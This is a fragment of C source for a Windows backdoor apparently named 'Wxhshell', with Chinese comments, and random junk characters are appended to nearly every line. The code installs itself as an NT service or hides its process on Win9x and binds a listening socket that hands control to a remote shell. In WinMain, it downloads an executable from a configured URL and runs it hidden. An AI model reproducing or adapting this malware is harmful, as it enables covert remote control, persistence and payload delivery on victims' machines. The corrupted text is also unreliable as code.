} PROCESS_BASIC_INFORMATION; S+KKGi_e
*0,*F ~n
PROCNTQSIP NtQueryInformationProcess; "k+ :!D
fhZwYx&t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ::02?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;p*L(8<YI
@=w)a
HANDLE hProcess; "UD)3_R
PROCESS_BASIC_INFORMATION pbi; 0y<9JvN$9
9Oj b~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,9^ 5
if(NULL == hInst ) return 0; [wSoZBl
U7fpaxc-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v,ecNuy*d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @>U9CL"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wH@<0lw`<
Z\C"/j<y
if (!NtQueryInformationProcess) return 0; a9lYX*:
Ke@Bf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]b}3f<
if(!hProcess) return 0; < q(i(%
yD3vq}U!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }mp`!7?>O
X)]>E]X
CloseHandle(hProcess); !V #*(_+n
?xKiN5q"6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O<!^^7/h0
if(hProcess==NULL) return 0; R-n%3oh
6C.!+km
HMODULE hMod; P[H`]q|
char procName[255]; n}Thc6f3D
unsigned long cbNeeded; |:(B I5&S
k(>J?\iNW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PNLlJlYlP
24InwR|^
CloseHandle(hProcess); YVRE9
_`QME r?
if(strstr(procName,"services")) return 1; // 以服务启动 /:A239=+ ?
oIE(`l0l
return 0; // 注册表启动 y'f-4E<
} "AJ>pU3
`$ bQ8$+Ci
// 主模块 ;/m>c{
int StartWxhshell(LPSTR lpCmdLine) "OUY^ cM
{ Zq1> M'V;
SOCKET wsl; UBM8l
BOOL val=TRUE; p(4Ek"
int port=0; G@ybx[_[@
struct sockaddr_in door;
KYcc jX
/s)It
if(wscfg.ws_autoins) Install(); 25, [<Ao
D//58z&
port=atoi(lpCmdLine); O{]}{Ss
!5m~qet.
if(port<=0) port=wscfg.ws_port; h*P0;V`UX
+f]I7e:qp
WSADATA data; ]6=opvm
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +W>tdxOh
V /OW=WCzN
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R'K /\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F r2
+p
door.sin_family = AF_INET; ,h3,&,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;XYfw)
door.sin_port = htons(port); 3kJSz-_M
T^xp2cZ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d9D*w/clMi
closesocket(wsl); #2.C$
return 1; 5hCfi
} ^kB9
I8u
0Z%<H\Z
if(listen(wsl,2) == INVALID_SOCKET) { S!}pL8OE
closesocket(wsl); T?__
return 1; . 55aY~We
} Yic'p0<
?V
Wxhshell(wsl); -IV-"-6(
WSACleanup(); AQ.q?'vE)
0XIrEwm@%
return 0; S;vZXgyN?
Xw^:<Nx:
} DUm/0q&
Z[j-.,Qu
// 以NT服务方式启动 )>=|oY3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )^^}!U#|e
{ ~>$(5s2
DWORD status = 0; 10/3 -)+
DWORD specificError = 0xfffffff; kS7T'[d
Y50$2%kM
serviceStatus.dwServiceType = SERVICE_WIN32; ~0.@1zEXj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; YX2j;Y?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >yqL
serviceStatus.dwWin32ExitCode = 0; oWOH #w
serviceStatus.dwServiceSpecificExitCode = 0; z#&qWO
serviceStatus.dwCheckPoint = 0; \}qv}hU
serviceStatus.dwWaitHint = 0; ~u-`L+G"6
h"nv[0!)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0$nJd_gW_
if (hServiceStatusHandle==0) return; U`'w{~"D%
bL7mlh
status = GetLastError(); !C0=
h
if (status!=NO_ERROR) }W%}_UT
{ [
06B)|s
serviceStatus.dwCurrentState = SERVICE_STOPPED; r?2C%GI`
serviceStatus.dwCheckPoint = 0; X4*/h$48 w
serviceStatus.dwWaitHint = 0; C[$<7Mi|;
serviceStatus.dwWin32ExitCode = status; l}c<eEfOy"
serviceStatus.dwServiceSpecificExitCode = specificError; `wG&Cy]v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 55|$Imnf
return; g(;ejKSR
} N=L
urXv
7~`6~qg.
serviceStatus.dwCurrentState = SERVICE_RUNNING;
ae1fCw3k
serviceStatus.dwCheckPoint = 0; ]R]X#jm
serviceStatus.dwWaitHint = 0; 9p$q@Bc
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `^N;%[c`z
} .g&BA15<F6
WCWBvw4&"{
// 处理NT服务事件,比如:启动、停止 _H3cqD
VOID WINAPI NTServiceHandler(DWORD fdwControl) N4mQN90t
{ Ap> n4~
switch(fdwControl) gA) F
{ ~d5{Q?T)
case SERVICE_CONTROL_STOP: sQH.}W$C
serviceStatus.dwWin32ExitCode = 0; x[oYN9O
serviceStatus.dwCurrentState = SERVICE_STOPPED; >"nk}@
serviceStatus.dwCheckPoint = 0; j+ys&pDczm
serviceStatus.dwWaitHint = 0; Pr/&p0@aV
{ n2O7n@8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C,z]q$4
} 1Q;`<=
return; )DLK<10
case SERVICE_CONTROL_PAUSE: 3i$AR
serviceStatus.dwCurrentState = SERVICE_PAUSED; rC*n Z*
break; (c*Dvpo1
case SERVICE_CONTROL_CONTINUE: YvHn~gNPhs
serviceStatus.dwCurrentState = SERVICE_RUNNING; +yea}uUE
break; ;~q)^.K3
case SERVICE_CONTROL_INTERROGATE: ?x/L"h&Kp
break; ]ogy`O >
}; 6qA{l_V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fu&]t8MJC
} G`W+m*[U+M
XZT( :(
// 标准应用程序主函数 Wl2>U(lj
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [E /3&3
{ Mo<p+*8u:
%`\{Nxk
// 获取操作系统版本 gR>#LM&dG
OsIsNt=GetOsVer(); J/*[wj
GetModuleFileName(NULL,ExeFile,MAX_PATH); e
O}mZN
&\K#UVDyhh
// 从命令行安装 Bms?`7}N
if(strpbrk(lpCmdLine,"iI")) Install(); wIiT
:o
V)Xcn'h
// 下载执行文件 zj)[Sntn?
if(wscfg.ws_downexe) { DpR%s",Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8ksDXf`.
WinExec(wscfg.ws_filenam,SW_HIDE); V!=]a^]:
} eK@Y] !lz
p 5'\< gQ
if(!OsIsNt) { u60l -
// 如果时win9x,隐藏进程并且设置为注册表启动 %~[F^
HideProc(); #WG(V%f]
StartWxhshell(lpCmdLine); OWkK]O
} {gn[
&\
else jHZ<Gc
if(StartFromService()) E0PBdiD6hs
// 以服务方式启动 ouI0"R&@
StartServiceCtrlDispatcher(DispatchTable); M;bQid@BG
else S {H8}m|MW
// 普通方式启动 w{qYP
StartWxhshell(lpCmdLine); 5f5`7uVJF
s_8!x
return 0; 3IxT2@H)
}